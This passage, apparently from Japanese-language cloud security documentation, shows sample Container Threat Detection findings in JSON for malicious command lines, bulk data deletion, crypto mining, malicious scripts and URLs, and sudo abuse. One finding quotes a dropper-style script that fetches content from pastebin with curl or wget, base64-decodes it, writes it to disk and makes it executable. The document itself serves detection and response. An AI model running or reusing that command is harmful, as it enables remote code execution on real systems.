      ],
      "additionalTechniques": [
        "INHIBIT_SYSTEM_RECOVERY"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-detect-malicious-cmdlines-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_detect_malicious_cmdlines"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1485/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

影響: ディスクからの大量のデータの削除

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Impact: Remove Bulk Data From Disk",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-remove-bulk-data-from-disk-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_remove_bulk_data_from_disk"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1485/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

影響: Stratum プロトコルを使用した不審な暗号通貨マイニング アクティビティ

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Impact: Suspicious crypto mining activity using the Stratum Protocol",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-detect-crypto-miners-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "HIGH",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_detect_crypto_miners_using_stratum_protocol"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1496/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/f3bf59164816762430e8cdf5a5d64b4284a86af86245a52067c533c8cd98f215/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

悪意のあるスクリプトの実行

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Malicious Script Executed",
    "sourceProperties": {
      "VM_Instance_Name": "INSTANCE_ID",
      "Script_Filename": "FILENAME",
      "Script_SHA256": "SHA_256",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Name": "CONTAINER_NAME",
      "Parent_Pid": 1.0,
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Creation_Timestamp": {
        "seconds": 1.617989997E9,
        "nanos": 1.17396995E8
      },
      "Pid": 53.0,
      "Pod_Namespace": "default",
      "Process_Binary_Fullpath": "INTERPRETER",
      "Process_Arguments": ["INTERPRETER", "FILENAME"],
      "Pod_Name": "POD_NAME",
      "description": "A machine learning model using Natural Language Processing techniques identified an executed bash script as malicious.",
      "Script_Content": "(curl -fsSL https://pastebin.com||wget -q -O - https://pastebin.com)| tac | base64 -di | exit 0 | > x ; chmod 777 x ;",
      "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
      test-4af235e12be6f9d9", "HOME\u003d/root",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
      "Container_Creation_Timestamp": {
        "seconds": 1.617989918E9,
        "nanos": 0.0
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:39:57.527Z",
    "createTime": "2021-04-09T17:39:57.625Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Script_Content": {
        "primitiveDataType": "STRING"
      },
      "Script_Filename": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Script_SHA256": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
  

悪意のある URL の観測

    {
      "findings": {
        "access": {},
        "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
        "category": "Malicious URL Observed",
        "containers": [
          {
            "name": "CONTAINER_NAME",
            "uri": "CONTAINER_URI",
            "imageId": "CONTAINER_IMAGE_ID"
          }
        ],
        "createTime": "2022-09-14T21:35:46.209Z",
        "database": {},
        "description": "A malicious URL is observed in the container workload.",
        "eventTime": "2022-09-14T21:35:45.992Z",
        "exfiltration": {},
        "findingClass": "THREAT",
        "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
        "indicator": {
          "uris": [
            "testsafebrowsing.appspot.com/s/malware.html"
          ]
        },
        "kubernetes": {
          "pods": [
            {
              "ns": "default",
              "name": "CONTAINER_NAME",
              "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
              ]
            }
          ]
        },
        "mitreAttack": {
          "primaryTactic": "COMMAND_AND_CONTROL",
          "primaryTechniques": [
            "INGRESS_TOOL_TRANSFER"
          ]
        },
        "mute": "UNDEFINED",
        "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
        "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
        "parentDisplayName": "Container Threat Detection",
        "processes": [
          {
            "binary": {
              "path": "\"/bin/echo\""
            },
            "script": {},
            "args": [
              "\"/bin/echo\"",
              "\"https://testsafebrowsing.appspot.com/s/malware.html\""
            ],
            "envVariables": [
              {
                "name": "\"PATH\"",
                "val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
              },
              {
                "name": "\"HOSTNAME\"",
                "val": "\"CONTAINER_NAME\""
              },
              {
                "name": "\"DEBIAN_FRONTEND\"",
                "val": "\"noninteractive\""
              },
              {
                "name": "\"LANG\"",
                "val": "\"C.UTF-8\""
              },
              {
                "name": "\"PYTHONUNBUFFERED\"",
                "val": "\"1\""
              },
              {
                "name": "\"PORT\"",
                "val": "\"8080\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
                "val": "\"IP_ADDRESS\""
              },
              {
                "name": "\"KUBERNETES_SERVICE_HOST\"",
                "val": "\"IP_ADDRESS\""
              },
              {
                "name": "\"KUBERNETES_SERVICE_PORT\"",
                "val": "\"443\""
              },
              {
                "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
                "val": "\"443\""
              },
              {
                "name": "\"KUBERNETES_PORT\"",
                "val": "\"tcp://IP_ADDRESS:443\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP\"",
                "val": "\"tcp://IP_ADDRESS:443\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
                "val": "\"tcp\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
                "val": "\"443\""
              },
              {
                "name": "\"HOME\"",
                "val": "\"/root\""
              }
            ],
            "pid": "1"
          }
        ],
        "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
        "severity": "MEDIUM",
        "sourceDisplayName": "Container Threat Detection",
        "state": "ACTIVE",
        "vulnerability": {},
        "workflowState": "NEW"
      },
      "resource": {
        "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
        "display_name": "CLUSTER_ID",
        "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
        "project_display_name": "PROJECT_ID",
        "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
        "parent_display_name": "PROJECT_ID",
        "type": "google.container.Cluster",
        "folders": []
      },
      "sourceProperties": {
        "Container_Image_Id": "CONTAINER_IMAGE_ID",
        "Pod_Namespace": "default",
        "Container_Name": "CONTAINER_NAME",
        "Process_Binary_Fullpath": "/bin/echo",
        "description": "A malicious URL is observed in the container workload.",
        "VM_Instance_Name": "VM_INSTANCE_NAME",
        "Pid": 1,
        "Process_Arguments": [
          "/bin/echo",
          "https://testsafebrowsing.appspot.com/s/malware.html"
        ],
        "Container_Image_Uri": "CONTAINER_IMAGE_URI",
        "Parent_Pid": 0,
        "Process_Creation_Timestamp": {
          "seconds": 1663191345,
          "nanos": 7717272
        },
        "Environment_Variables": [
          "PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
          "HOSTNAME=CONTAINER_NAME",
          "DEBIAN_FRONTEND=noninteractive",
          "LANG=C.UTF-8",
          "PYTHONUNBUFFERED=1",
          "PORT=8080",
          "KUBERNETES_PORT_443_TCP_ADDR=IP_ADDRESS",
          "KUBERNETES_SERVICE_HOST=IP_ADDRESS",
          "KUBERNETES_SERVICE_PORT=443",
          "KUBERNETES_SERVICE_PORT_HTTPS=443",
          "KUBERNETES_PORT=tcp://IP_ADDRESS:443",
          "KUBERNETES_PORT_443_TCP=tcp://IP_ADDRESS:443",
          "KUBERNETES_PORT_443_TCP_PROTO=tcp",
          "KUBERNETES_PORT_443_TCP_PORT=443",
          "HOME=/root"
        ],
        "Container_Creation_Timestamp": {
          "seconds": 1663191345,
          "nanos": 0
        },
        "Pod_Name": "CONTAINER_NAME"
      }
    }
  

権限昇格: 権限昇格のための Sudo の不正使用(CVE-2019-14287)

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)",
    "chokepoint": {},
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2025-07-22T00:07:48Z"
      }
    ],
    "createTime": "2025-07-22T00:07:54.853Z",
    "database": {},
    "dataProtectionKeyGovernance": {},
    "eventTime": "2025-07-22T00:07:54.627Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
